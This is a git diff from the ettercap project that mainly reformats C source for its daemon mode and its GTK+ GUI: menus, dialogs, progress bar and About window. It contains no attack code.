daemonize(void) @@ -184,46 +179,46 @@ static void daemonize(void) int ret; DEBUG_MSG("daemonize: (daemon)"); - + fprintf(stdout, "Daemonizing %s...\n\n", GBL_PROGRAM); - - /* + + /* * daemonze the process. * keep the current directory * close stdin, out and err */ ret = daemon(1, 0); ON_ERROR(ret, -1, "Can't demonize %s", GBL_PROGRAM); - + #else pid_t pid; - + DEBUG_MSG("daemonize: (manual)"); fprintf(stdout, "Daemonizing %s...\n\n", GBL_PROGRAM); - - if((signal(SIGTTOU, SIG_IGN)) == SIG_ERR) + + if ((signal(SIGTTOU, SIG_IGN)) == SIG_ERR) ERROR_MSG("signal()"); - if((signal(SIGTTIN, SIG_IGN)) == SIG_ERR) + if ((signal(SIGTTIN, SIG_IGN)) == SIG_ERR) ERROR_MSG("signal()"); - if((signal(SIGTSTP, SIG_IGN)) == SIG_ERR) + if ((signal(SIGTSTP, SIG_IGN)) == SIG_ERR) ERROR_MSG("signal()"); - if((signal(SIGHUP, SIG_IGN)) == SIG_ERR) + if ((signal(SIGHUP, SIG_IGN)) == SIG_ERR) ERROR_MSG("signal()"); pid = fork(); - - if( pid < 0) + + if (pid < 0) ERROR_MSG("fork()"); - + /* kill the father and detach the son */ - if ( pid != 0) + if (pid != 0) _exit(0); - if(setsid() == -1) + if (setsid() == -1) ERROR_MSG("setsid(): cannot set the session id"); fd = open("/dev/null", O_RDWR); @@ -233,13 +228,12 @@ static void daemonize(void) dup2(fd, STDIN_FILENO); dup2(fd, STDOUT_FILENO); dup2(fd, STDERR_FILENO); - + close(fd); - + #endif } /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/daemon/ec_daemon.h b/src/interfaces/daemon/ec_daemon.h index 0f0481fad..1b17e98ba 100644 --- a/src/interfaces/daemon/ec_daemon.h +++ b/src/interfaces/daemon/ec_daemon.h @@ -1,5 +1,4 @@ - #ifndef EC_DAEMON_H #define EC_DAEMON_H @@ -18,10 +17,8 @@ /* proto */ extern void set_daemon_interface(void); - #endif /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/gtk/ec_gtk.c b/src/interfaces/gtk/ec_gtk.c index 867dc4719..f27b5233e 100644 --- a/src/interfaces/gtk/ec_gtk.c +++ b/src/interfaces/gtk/ec_gtk.c @@ -1,23 +1,23 @@ /* - ettercap -- GTK+ GUI - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- GTK+ GUI + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include @@ -28,10 +28,10 @@ #include #include - /* \Device\NPF{...} and description are huge. There should be 2 buffers - * for this; one for dev-name and 1 for description. Note: dev->description - * on WinPcap can contain and newlines! - */ +/* \Device\NPF{...} and description are huge. There should be 2 buffers + * for this; one for dev-name and 1 for description. Note: dev->description + * on WinPcap can contain and newlines! + */ #define IFACE_LEN 100 /* globals */ @@ -43,14 +43,14 @@ GtkUIManager *menu_manager = NULL; guint merge_id; GTimer *progress_timer = NULL; -static GtkWidget *notebook_frame = NULL; -static GtkWidget *textview = NULL; +static GtkWidget *notebook_frame = NULL; +static GtkWidget *textview = NULL; static GtkTextBuffer *msgbuffer = NULL; -static GtkTextMark *endmark = NULL; +static GtkTextMark *endmark = NULL; static GtkAccelGroup *accel_group = NULL; -static gboolean progress_canceled = FALSE; -static GtkWidget *progress_dialog = NULL; -static GtkWidget *progress_bar = NULL; +static gboolean progress_canceled = FALSE; +static GtkWidget *progress_dialog = NULL; +static GtkWidget *progress_bar = NULL; /* proto */ @@ -82,19 +82,17 @@ static void gtkui_pcap_filter(void); static void gtkui_set_netmask(void); static gboolean gtkui_progress_cancel(GtkWidget *window, gpointer data); - - #if GTK_MINOR_VERSION == 2 static void gtkui_page_defocus_tabs(void); #endif /* wrapper functions which inject the real function call into the main * idle loop, ensugin only th emain thread performs GTK operations -*/ + */ static gboolean gtkui_cleanup_shim(gpointer data) { /* variable not used */ - (void) data; + (void)data; gtkui_cleanup(); return FALSE; @@ -114,12 +112,12 @@ static gboolean gtkui_msg_shim(gpointer data) static void gtkui_msg_wrap(const char *msg) { - char *copy = strdup(msg); - if (msg) { - g_idle_add(gtkui_msg_shim, copy); - } else { - FATAL_ERROR("out of memory"); - } + char *copy = strdup(msg); + if (msg) { + g_idle_add(gtkui_msg_shim, copy); + } else { + FATAL_ERROR("out of memory"); + } } static gboolean gtkui_error_shim(gpointer data) @@ -140,13 +138,15 @@ static void gtkui_error_wrap(const char *msg) } } -static gboolean gtkui_fatal_error_shim(gpointer data) { +static gboolean gtkui_fatal_error_shim(gpointer data) +{ gtkui_fatal_error(data); SAFE_FREE(data); return FALSE; } -static void gtkui_fatal_error_wrap(const char *msg) { +static void gtkui_fatal_error_wrap(const char *msg) +{ char *copy = strdup(msg); if (msg) { @@ -169,10 +169,11 @@ struct gtkui_progress_data { int max; }; -static gboolean gtkui_progress_shim(gpointer data) { +static gboolean gtkui_progress_shim(gpointer data) +{ struct gtkui_progress_data *gpd = data; - gdouble delay; + gdouble delay; gulong usec; delay = g_timer_elapsed(progress_timer, &usec); @@ -186,7 +187,8 @@ static gboolean gtkui_progress_shim(gpointer data) { return FALSE; } -static int gtkui_progress_wrap(char *title, int value, int max) { +static int gtkui_progress_wrap(char *title, int value, int max) +{ struct gtkui_progress_data *gpd; @@ -200,7 +202,7 @@ static int gtkui_progress_wrap(char *title, int value, int max) { } if (!title) { - return UI_PROGRESS_UPDATED; + return UI_PROGRESS_UPDATED; } gpd = malloc(sizeof *gpd); @@ -214,14 +216,10 @@ static int gtkui_progress_wrap(char *title, int value, int max) { } return value == max - ? UI_PROGRESS_FINISHED - : UI_PROGRESS_UPDATED; + ? UI_PROGRESS_FINISHED + : UI_PROGRESS_UPDATED; } - - - - /***#****************************************/ void set_gtk_interface(void) @@ -248,21 +246,20 @@ void set_gtk_interface(void) DEBUG_MSG("GTK -> gtk+ %d.%d.%d\n", gtk_major_version, gtk_minor_version, gtk_micro_version); } - /* - * prepare GTK, create the menu/messages window, enter the first loop + * prepare GTK, create the menu/messages window, enter the first loop */ static void gtkui_init(void) { DEBUG_MSG("gtk_init"); // g_thread_init has been deprecated since version 2.32 and should not be used in newly-written code. This function is no longer necessary. The GLib threading system is automatically initialized at the start of your program. -#if !(GLIB_CHECK_VERSION(2,32,0)) +#if !(GLIB_CHECK_VERSION(2, 32, 0)) g_thread_init(NULL); #endif - if(!gtk_init_check(0, NULL)) { - FATAL_ERROR("GTK+ failed to initialize. Is X running?"); - return; + if (!gtk_init_check(0, NULL)) { + FATAL_ERROR("GTK+ failed to initialize. Is X running?"); + return; } gtkui_conf_read(); @@ -278,13 +275,13 @@ static void gtkui_init(void) gtk_main(); /* remove the keyboard shortcuts for the setup menus */ - gtk_window_remove_accel_group(GTK_WINDOW (window), accel_group); + gtk_window_remove_accel_group(GTK_WINDOW(window), accel_group); GBL_UI->initialized = 1; } /* - * exit ettercap + * exit ettercap */ void gtkui_exit(void) { @@ -293,13 +290,13 @@ void gtkui_exit(void) g_timer_destroy(progress_timer); - gtk_window_get_position(GTK_WINDOW (window), &left, &top); - gtk_window_get_size(GTK_WINDOW (window), &width, &height); + gtk_window_get_position(GTK_WINDOW(window), &left, &top); + gtk_window_get_size(GTK_WINDOW(window), &width, &height); gtkui_conf_set("window_left", left); gtkui_conf_set("window_top", top); gtkui_conf_set("window_width", width); gtkui_conf_set("window_height", height); - + gtk_main_quit(); gtkui_conf_save(); clean_exit(0); @@ -311,25 +308,21 @@ void gtkui_exit(void) static void gtkui_cleanup(void) { DEBUG_MSG("gtk_cleanup"); - - } - /* * process an UI update notification */ static void gtkui_update(int target) { - switch (target) { - case UI_UPDATE_HOSTLIST: - g_idle_add((GSourceFunc)gtkui_refresh_host_list, NULL); - break; - case UI_UPDATE_PLUGINLIST: - g_idle_add((GSourceFunc)gtkui_refresh_plugin_list, NULL); - break; - } - + switch (target) { + case UI_UPDATE_HOSTLIST: + g_idle_add((GSourceFunc)gtkui_refresh_host_list, NULL); + break; + case UI_UPDATE_PLUGINLIST: + g_idle_add((GSourceFunc)gtkui_refresh_plugin_list, NULL); + break; + } } /* @@ -342,12 +335,12 @@ static void gtkui_msg(const char *msg) DEBUG_MSG("gtkui_msg: %s", msg); - if((unicode = gtkui_utf8_validate((char *)msg)) == NULL) - return; + if ((unicode = gtkui_utf8_validate((char *)msg)) == NULL) + return; gtk_text_buffer_get_end_iter(msgbuffer, &iter); gtk_text_buffer_insert(msgbuffer, &iter, unicode, -1); - gtk_text_view_scroll_to_mark(GTK_TEXT_VIEW (textview), + gtk_text_view_scroll_to_mark(GTK_TEXT_VIEW(textview), endmark, 0, FALSE, 0, 0); return; } @@ -356,11 +349,11 @@ static void gtkui_msg(const char *msg) gboolean gtkui_flush_msg(gpointer data) { /* variable not used */ - (void) data; + (void)data; ui_msg_flush(MSG_ALL); - return(TRUE); + return TRUE; } /* @@ -385,8 +378,8 @@ void gtkui_about(void) gtk_window_set_default_size(GTK_WINDOW(dialog), 450, 300); button = gtk_dialog_add_button(GTK_DIALOG(dialog), "Close", GTK_RESPONSE_CLOSE); - gtk_button_set_image(GTK_BUTTON(button), - gtk_image_new_from_stock(GTK_STOCK_CLOSE, GTK_ICON_SIZE_BUTTON)); + gtk_button_set_image(GTK_BUTTON(button), + gtk_image_new_from_stock(GTK_STOCK_CLOSE, GTK_ICON_SIZE_BUTTON)); notebook = gtk_notebook_new(); @@ -394,17 +387,17 @@ void gtkui_about(void) vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 10, FALSE); path = INSTALL_DATADIR "/" EC_PROGRAM "/" LOGO_FILE_SMALL; - if(g_file_test(path, G_FILE_TEST_EXISTS)) + if (g_file_test(path, G_FILE_TEST_EXISTS)) logo = gtk_image_new_from_file(path); else /* if neither path is valid gtk will use a broken image icon */ logo = gtk_image_new_from_file("./share/" LOGO_FILE_SMALL); gtk_box_pack_start(GTK_BOX(vbox), logo, FALSE, FALSE, 0); label = gtk_label_new(""); - gtk_label_set_markup(GTK_LABEL(label), - "" - EC_PROGRAM " " EC_VERSION - ""); + gtk_label_set_markup(GTK_LABEL(label), + "" + EC_PROGRAM " " EC_VERSION + ""); gtk_box_pack_start(GTK_BOX(vbox), label, FALSE, FALSE, 0); label = gtk_label_new("www.ettercap-project.org"); @@ -413,13 +406,13 @@ void gtkui_about(void) gtk_notebook_append_page(GTK_NOTEBOOK(notebook), vbox, gtk_label_new("General")); /* Authors page */ - scroll= gtk_scrolled_window_new(NULL, NULL); - gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW (scroll), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); - gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW (scroll), GTK_SHADOW_IN); + scroll = gtk_scrolled_window_new(NULL, NULL); + gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW(scroll), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); + gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW(scroll), GTK_SHADOW_IN); /* load the authors file */ g_file_get_contents("./AUTHORS", - &authors, &length, &error); + &authors, &length, &error); if (error != NULL) { /* no debug message */ g_error_free(error); @@ -427,7 +420,7 @@ void gtkui_about(void) /* 2nd try */ g_file_get_contents(INSTALL_DATADIR "/" EC_PROGRAM "/AUTHORS", - &authors, &length, &error); + &authors, &length, &error); if (error != NULL) { DEBUG_MSG("failed to load authors file: %s", error->message); gtkui_error("Failed to load AUTHORS file."); @@ -446,14 +439,14 @@ void gtkui_about(void) gtk_notebook_append_page(GTK_NOTEBOOK(notebook), scroll, gtk_label_new("Authors")); /* License page */ - scroll= gtk_scrolled_window_new(NULL, NULL); - gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW (scroll), - GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); - gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW (scroll), GTK_SHADOW_IN); + scroll = gtk_scrolled_window_new(NULL, NULL); + gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW(scroll), + GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); + gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW(scroll), GTK_SHADOW_IN); /* load license file */ g_file_get_contents("./LICENSE", - &license, &length, &error); + &license, &length, &error); if (error != NULL) { /* no debug message */ g_error_free(error); @@ -461,7 +454,7 @@ void gtkui_about(void) /* 2nd try */ g_file_get_contents(INSTALL_DATADIR "/" EC_PROGRAM "/LICENSE", - &license, &length, &error); + &license, &length, &error); #ifndef OS_WINDOWS if (error != NULL) { DEBUG_MSG("failed to load license file: %s, try system path ...", error->message); @@ -470,14 +463,14 @@ void gtkui_about(void) /* 3rd try */ g_file_get_contents("/usr/share/common-licenses/GPL-2", - &license, &length, &error); - } + &license, &length, &error); + } #endif - if (error != NULL) { - DEBUG_MSG("failed to load license file: %s", error->message); - gtkui_error("Failed to load LICENSE file."); - g_error_free(error); - error = NULL; + if (error != NULL) { + DEBUG_MSG("failed to load license file: %s", error->message); + gtkui_error("Failed to load LICENSE file."); + g_error_free(error); + error = NULL; } } @@ -497,12 +490,11 @@ void gtkui_about(void) /* Hitting Enter closes the About dialog */ gtk_widget_grab_focus( - gtk_dialog_get_widget_for_response( - GTK_DIALOG(dialog), GTK_RESPONSE_CLOSE)); + gtk_dialog_get_widget_for_response( + GTK_DIALOG(dialog), GTK_RESPONSE_CLOSE)); gtk_widget_show_all(GTK_WIDGET(dialog)); - gtk_dialog_run(GTK_DIALOG(dialog)); if (authors) @@ -511,7 +503,6 @@ void gtkui_about(void) g_free(license); gtk_widget_destroy(dialog); - } /* @@ -521,32 +512,31 @@ static void gtkui_error(const char *msg) { GtkWidget *dialog; gchar *unicode = NULL; - + DEBUG_MSG("gtkui_error: %s", msg); - if((unicode = gtkui_utf8_validate((char *)msg)) == NULL) - return; + if ((unicode = gtkui_utf8_validate((char *)msg)) == NULL) + return; - dialog = gtk_message_dialog_new(GTK_WINDOW (window), GTK_DIALOG_MODAL, + dialog = gtk_message_dialog_new(GTK_WINDOW(window), GTK_DIALOG_MODAL, GTK_MESSAGE_ERROR, GTK_BUTTONS_OK, "%s", unicode); - gtk_window_set_position(GTK_WINDOW (dialog), GTK_WIN_POS_CENTER_ON_PARENT); + gtk_window_set_position(GTK_WINDOW(dialog), GTK_WIN_POS_CENTER_ON_PARENT); /* blocking - displays dialog waits for user to click OK */ - gtk_dialog_run(GTK_DIALOG (dialog)); + gtk_dialog_run(GTK_DIALOG(dialog)); gtk_widget_destroy(dialog); return; } - /* * handle a fatal error and exit */ static void gtkui_fatal_error(const char *msg) { /* if the gui is working at this point - display the message in a dialog */ - if(window) + * display the message in a dialog */ + if (window) gtkui_error(msg); /* also dump it to console in case ettercap was started in an xterm */ @@ -555,7 +545,6 @@ static void gtkui_fatal_error(const char *msg) clean_exit(-1); } - /* * get an input from the user */ @@ -563,45 +552,44 @@ void gtkui_input(const char *title, char *input, size_t n, void (*callback)(void { GtkWidget *dialog, *entry, *label, *hbox, *image, *content_area; - dialog = gtk_dialog_new_with_buttons(EC_PROGRAM" Input", GTK_WINDOW (window), - GTK_DIALOG_MODAL, - GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, + dialog = gtk_dialog_new_with_buttons(EC_PROGRAM " Input", GTK_WINDOW(window), + GTK_DIALOG_MODAL, + GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, GTK_STOCK_OK, GTK_RESPONSE_OK, NULL); #if !GTK_CHECK_VERSION(2, 22, 0) // depricated since Gtk 2.22 - gtk_dialog_set_has_separator(GTK_DIALOG (dialog), FALSE); + gtk_dialog_set_has_separator(GTK_DIALOG(dialog), FALSE); #endif - gtk_container_set_border_width(GTK_CONTAINER (dialog), 5); + gtk_container_set_border_width(GTK_CONTAINER(dialog), 5); hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 6, FALSE); content_area = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); gtk_container_add(GTK_CONTAINER(content_area), hbox); - - image = gtk_image_new_from_stock (GTK_STOCK_DIALOG_QUESTION, GTK_ICON_SIZE_DIALOG); - gtk_misc_set_alignment (GTK_MISC (image), 0.5, 0.0); - gtk_box_pack_start (GTK_BOX (hbox), image, FALSE, FALSE, 0); - - label = gtk_label_new (title); - gtk_label_set_line_wrap (GTK_LABEL (label), TRUE); - gtk_label_set_selectable (GTK_LABEL (label), TRUE); - gtk_box_pack_start (GTK_BOX (hbox), label, TRUE, TRUE, 0); - + + image = gtk_image_new_from_stock(GTK_STOCK_DIALOG_QUESTION, GTK_ICON_SIZE_DIALOG); + gtk_misc_set_alignment(GTK_MISC(image), 0.5, 0.0); + gtk_box_pack_start(GTK_BOX(hbox), image, FALSE, FALSE, 0); + + label = gtk_label_new(title); + gtk_label_set_line_wrap(GTK_LABEL(label), TRUE); + gtk_label_set_selectable(GTK_LABEL(label), TRUE); + gtk_box_pack_start(GTK_BOX(hbox), label, TRUE, TRUE, 0); + entry = gtk_entry_new(); gtk_entry_set_max_length(GTK_ENTRY(entry), n); - g_object_set_data(G_OBJECT (entry), "dialog", dialog); - g_signal_connect(G_OBJECT (entry), "activate", G_CALLBACK (gtkui_dialog_enter), NULL); + g_object_set_data(G_OBJECT(entry), "dialog", dialog); + g_signal_connect(G_OBJECT(entry), "activate", G_CALLBACK(gtkui_dialog_enter), NULL); - if (input) - gtk_entry_set_text(GTK_ENTRY (entry), input); - - gtk_box_pack_start(GTK_BOX (hbox), entry, FALSE, FALSE, 5); - gtk_widget_show_all (hbox); + gtk_entry_set_text(GTK_ENTRY(entry), input); + + gtk_box_pack_start(GTK_BOX(hbox), entry, FALSE, FALSE, 5); + gtk_widget_show_all(hbox); if (gtk_dialog_run(GTK_DIALOG(dialog)) == GTK_RESPONSE_OK) { - strncpy(input, gtk_entry_get_text(GTK_ENTRY (entry)), n); + strncpy(input, gtk_entry_get_text(GTK_ENTRY(entry)), n); if (callback != NULL) { gtk_widget_destroy(dialog); @@ -613,8 +601,7 @@ void gtkui_input(const char *title, char *input, size_t n, void (*callback)(void gtk_widget_destroy(dialog); } - -/* +/* * show or update the progress bar */ static void gtkui_progress(char *title, int value, int max) @@ -624,36 +611,35 @@ static void gtkui_progress(char *title, int value, int max) /* the first time, create the object */ if (progress_bar == NULL) { progress_dialog = gtk_window_new(GTK_WINDOW_TOPLEVEL); - gtk_window_set_title(GTK_WINDOW (progress_dialog), EC_PROGRAM); - gtk_window_set_modal(GTK_WINDOW (progress_dialog), TRUE); + gtk_window_set_title(GTK_WINDOW(progress_dialog), EC_PROGRAM); + gtk_window_set_modal(GTK_WINDOW(progress_dialog), TRUE); gtk_window_set_transient_for(GTK_WINDOW(progress_dialog), GTK_WINDOW(window)); gtk_window_set_position(GTK_WINDOW(progress_dialog), GTK_WIN_POS_CENTER_ON_PARENT); - gtk_container_set_border_width(GTK_CONTAINER (progress_dialog), 5); - g_signal_connect(G_OBJECT (progress_dialog), "delete_event", G_CALLBACK (gtkui_progress_cancel), NULL); + gtk_container_set_border_width(GTK_CONTAINER(progress_dialog), 5); + g_signal_connect(G_OBJECT(progress_dialog), "delete_event", G_CALLBACK(gtkui_progress_cancel), NULL); hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 3, FALSE); - gtk_container_add(GTK_CONTAINER (progress_dialog), hbox); - + gtk_container_add(GTK_CONTAINER(progress_dialog), hbox); + progress_bar = gtk_progress_bar_new(); #if GTK_CHECK_VERSION(3, 0, 0) gtk_progress_bar_set_show_text(GTK_PROGRESS_BAR(progress_bar), TRUE); #endif - gtk_box_pack_start(GTK_BOX (hbox), progress_bar, TRUE, TRUE, 0); + gtk_box_pack_start(GTK_BOX(hbox), progress_bar, TRUE, TRUE, 0); button = gtk_button_new_from_stock(GTK_STOCK_CANCEL); - gtk_box_pack_start(GTK_BOX (hbox), button, FALSE, FALSE, 0); - g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_progress_cancel), progress_dialog); + gtk_box_pack_start(GTK_BOX(hbox), button, FALSE, FALSE, 0); + g_signal_connect(G_OBJECT(button), "clicked", G_CALLBACK(gtkui_progress_cancel), progress_dialog); + } - } - /* the subsequent calls have to only update the object */ - gtk_progress_bar_set_text(GTK_PROGRESS_BAR (progress_bar), title); - gtk_progress_bar_set_fraction(GTK_PROGRESS_BAR (progress_bar), (gdouble)((gdouble)value / (gdouble)max)); + gtk_progress_bar_set_text(GTK_PROGRESS_BAR(progress_bar), title); + gtk_progress_bar_set_fraction(GTK_PROGRESS_BAR(progress_bar), (gdouble)((gdouble)value / (gdouble)max)); /* update dialog window */ gtk_widget_show_all(progress_dialog); - /* + /* * when 100%, destroy it */ if (value == max) { @@ -662,13 +648,12 @@ static void gtkui_progress(char *title, int value, int max) progress_dialog = NULL; progress_bar = NULL; } - } -static gboolean gtkui_progress_cancel(GtkWidget *window, gpointer data) +static gboolean gtkui_progress_cancel(GtkWidget *window, gpointer data) { /* variable not used */ - (void) window; + (void)window; progress_canceled = TRUE; @@ -678,7 +663,7 @@ static gboolean gtkui_progress_cancel(GtkWidget *window, gpointer data) progress_dialog = NULL; progress_bar = NULL; } - return(FALSE); + return FALSE; } /* @@ -687,21 +672,20 @@ static gboolean gtkui_progress_cancel(GtkWidget *window, gpointer data) void gtkui_message(const char *msg) { GtkWidget *dialog; - + DEBUG_MSG("gtkui_message: %s", msg); - dialog = gtk_message_dialog_new(GTK_WINDOW (window), GTK_DIALOG_MODAL, + dialog = gtk_message_dialog_new(GTK_WINDOW(window), GTK_DIALOG_MODAL, GTK_MESSAGE_INFO, GTK_BUTTONS_OK, "%s", msg); - gtk_window_set_position(GTK_WINDOW (dialog), GTK_WIN_POS_CENTER_ON_PARENT); + gtk_window_set_position(GTK_WINDOW(dialog), GTK_WIN_POS_CENTER_ON_PARENT); /* blocking - displays dialog waits for user to click OK */ - gtk_dialog_run(GTK_DIALOG (dialog)); + gtk_dialog_run(GTK_DIALOG(dialog)); gtk_widget_destroy(dialog); return; } - /* * Create the main interface and enter the second loop */ @@ -713,13 +697,13 @@ void gtkui_start(void) DEBUG_MSG("gtk_start"); idle_flush = g_timeout_add(500, gtkui_flush_msg, NULL); - + /* which interface do we have to display ? */ if (GBL_OPTIONS->read) gtkui_sniff_offline(); else gtkui_sniff_live(); - + /* the main gui loop, once this exits the gui will be destroyed */ gtk_main(); @@ -760,7 +744,7 @@ static void gtkui_setup(void) gint keyval, width, height, left, top; char *path = NULL; - static const char *menu_structure = + static const char *menu_structure = "" " " " " @@ -791,88 +775,88 @@ static void gtkui_setup(void) GtkActionEntry menu_items[] = { /* File Menu */ - { + { "FileMenuAction", NULL, "_File", NULL, NULL, NULL }, - { + { "FileOpenAction", GTK_STOCK_OPEN, - "_Open", "O", + "_Open", "O", "Open a PCAP file", - G_CALLBACK(gtkui_file_open) + G_CALLBACK(gtkui_file_open) }, - { - "FileSaveAction", GTK_STOCK_SAVE, - "_Save", "S", - "Save traffic as PCAP file", - G_CALLBACK(gtkui_file_write) + { + "FileSaveAction", GTK_STOCK_SAVE, + "_Save", "S", + "Save traffic as PCAP file", + G_CALLBACK(gtkui_file_write) }, - { - "FileExitAction", GTK_STOCK_QUIT, - "E_xit", "Q", - "Exit Ettercap", - G_CALLBACK(gtkui_exit) + { + "FileExitAction", GTK_STOCK_QUIT, + "E_xit", "Q", + "Exit Ettercap", + G_CALLBACK(gtkui_exit) }, /* Sniff Menu */ - { - "SniffMenuAction", NULL, + { + "SniffMenuAction", NULL, "_Sniff", NULL, NULL, NULL }, - { - "SniffUnifiedAction", GTK_STOCK_DND, - "Unified sniffing...", "U", - "Switch to unified sniffing mode", - G_CALLBACK(gtkui_unified_sniff) + { + "SniffUnifiedAction", GTK_STOCK_DND, + "Unified sniffing...", "U", + "Switch to unified sniffing mode", + G_CALLBACK(gtkui_unified_sniff) }, - { - "SniffBridgedAction", GTK_STOCK_DND_MULTIPLE, - "Bridged sniffing...", "B", - "Switch to bridged sniffing mode", - G_CALLBACK(gtkui_bridged_sniff) + { + "SniffBridgedAction", GTK_STOCK_DND_MULTIPLE, + "Bridged sniffing...", "B", + "Switch to bridged sniffing mode", + G_CALLBACK(gtkui_bridged_sniff) }, - { - "SniffFilterAction", GTK_STOCK_PREFERENCES, - "Set pcap filter...", "P", - "Limit relevant traffic", + { + "SniffFilterAction", GTK_STOCK_PREFERENCES, + "Set pcap filter...", "P", + "Limit relevant traffic", G_CALLBACK(gtkui_pcap_filter) }, /* Options Menu */ - { - "OptionsMenuAction", NULL, + { + "OptionsMenuAction", NULL, "_Options", NULL, NULL, NULL }, - { - "OptionsNetmaskAction", NULL, - "Set netmask", "N", - "Override netmask", - G_CALLBACK(gtkui_set_netmask) + { + "OptionsNetmaskAction", NULL, + "Set netmask", "N", + "Override netmask", + G_CALLBACK(gtkui_set_netmask) }, /* Help Menu */ - { - "HelpMenuAction", NULL, + { + "HelpMenuAction", NULL, "_Info", NULL, NULL, NULL }, #ifndef OS_WINDOWS - { - "HelpAction", GTK_STOCK_HELP, - "Help", "F1", - "Ettercap documentation", - G_CALLBACK(gtkui_help) + { + "HelpAction", GTK_STOCK_HELP, + "Help", "F1", + "Ettercap documentation", + G_CALLBACK(gtkui_help) }, #endif { @@ -884,24 +868,23 @@ static void gtkui_setup(void) }; GtkToggleActionEntry toggle_items[] = { - { - "OptionsUnoffensiveAction", NULL, - "Unoffensive", NULL, - "Keep quiet", + { + "OptionsUnoffensiveAction", NULL, + "Unoffensive", NULL, + "Keep quiet", G_CALLBACK(toggle_unoffensive), FALSE }, - { - "OptionsPromiscAction", NULL, - "Promisc mode", NULL, - "Toogle promisc mode (default: on)", + { + "OptionsPromiscAction", NULL, + "Promisc mode", NULL, + "Toogle promisc mode (default: on)", G_CALLBACK(toggle_nopromisc), FALSE } }; - DEBUG_MSG("gtkui_setup"); width = gtkui_conf_get("window_width"); @@ -910,26 +893,24 @@ static void gtkui_setup(void) top = gtkui_conf_get("window_top"); /* create menu window */ - window = gtk_window_new (GTK_WINDOW_TOPLEVEL); - gtk_window_set_title(GTK_WINDOW (window), EC_PROGRAM" "EC_VERSION); - gtk_window_set_default_size(GTK_WINDOW (window), width, height); + window = gtk_window_new(GTK_WINDOW_TOPLEVEL); + gtk_window_set_title(GTK_WINDOW(window), EC_PROGRAM " "EC_VERSION); + gtk_window_set_default_size(GTK_WINDOW(window), width, height); /* set window icon */ path = ICON_DIR "/" ICON_FILE; if (g_file_test(path, G_FILE_TEST_EXISTS)) { icon = gtk_image_new_from_file(path); gtk_window_set_icon(GTK_WINDOW(window), gtk_image_get_pixbuf(GTK_IMAGE(icon))); - } - else { /* if neither path is valid gtk will use a broken image icon */ + } else { /* if neither path is valid gtk will use a broken image icon */ icon = gtk_image_new_from_file("./share/" ICON_FILE); gtk_window_set_icon(GTK_WINDOW(window), gtk_image_get_pixbuf(GTK_IMAGE(icon))); } - - if(left > 0 || top > 0) + if (left > 0 || top > 0) gtk_window_move(GTK_WINDOW(window), left, top); - g_signal_connect (G_OBJECT (window), "delete_event", G_CALLBACK (gtkui_exit), NULL); + g_signal_connect(G_OBJECT(window), "delete_event", G_CALLBACK(gtkui_exit), NULL); /* group GtkActions together to one group */ menuactions = gtk_action_group_new("MenuActions"); @@ -949,29 +930,29 @@ static void gtkui_setup(void) } /* some hidden accelerators */ - accel_group = gtk_accel_group_new (); + accel_group = gtk_accel_group_new(); closure = g_cclosure_new(G_CALLBACK(gtkui_unified_sniff_default), NULL, NULL); - gtk_accelerator_parse ("u", &keyval, &mods); + gtk_accelerator_parse("u", &keyval, &mods); gtk_accel_group_connect(accel_group, keyval, mods, 0, closure); - + closure = g_cclosure_new(G_CALLBACK(gtkui_exit), NULL, NULL); gtk_accelerator_parse("X", &keyval, &mods); gtk_accel_group_connect(accel_group, keyval, mods, 0, closure); /* link accelerator groups to window widget */ - gtk_window_add_accel_group (GTK_WINDOW (window), accel_group); + gtk_window_add_accel_group(GTK_WINDOW(window), accel_group); gtk_window_add_accel_group(GTK_WINDOW(window), gtk_ui_manager_get_accel_group(menu_manager)); vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 0, FALSE); - gtk_container_add(GTK_CONTAINER (window), vbox); + gtk_container_add(GTK_CONTAINER(window), vbox); gtk_widget_show(vbox); main_menu = gtk_ui_manager_get_widget(menu_manager, "/MenuBar"); gtk_box_pack_start(GTK_BOX(vbox), main_menu, FALSE, FALSE, 0); gtk_widget_show(main_menu); - if(GBL_PCAP->promisc) { + if (GBL_PCAP->promisc) { /* setting the menu item active will toggle this setting */ /* it will be TRUE after the menu is updated */ GBL_PCAP->promisc = 0; @@ -979,7 +960,7 @@ static void gtkui_setup(void) 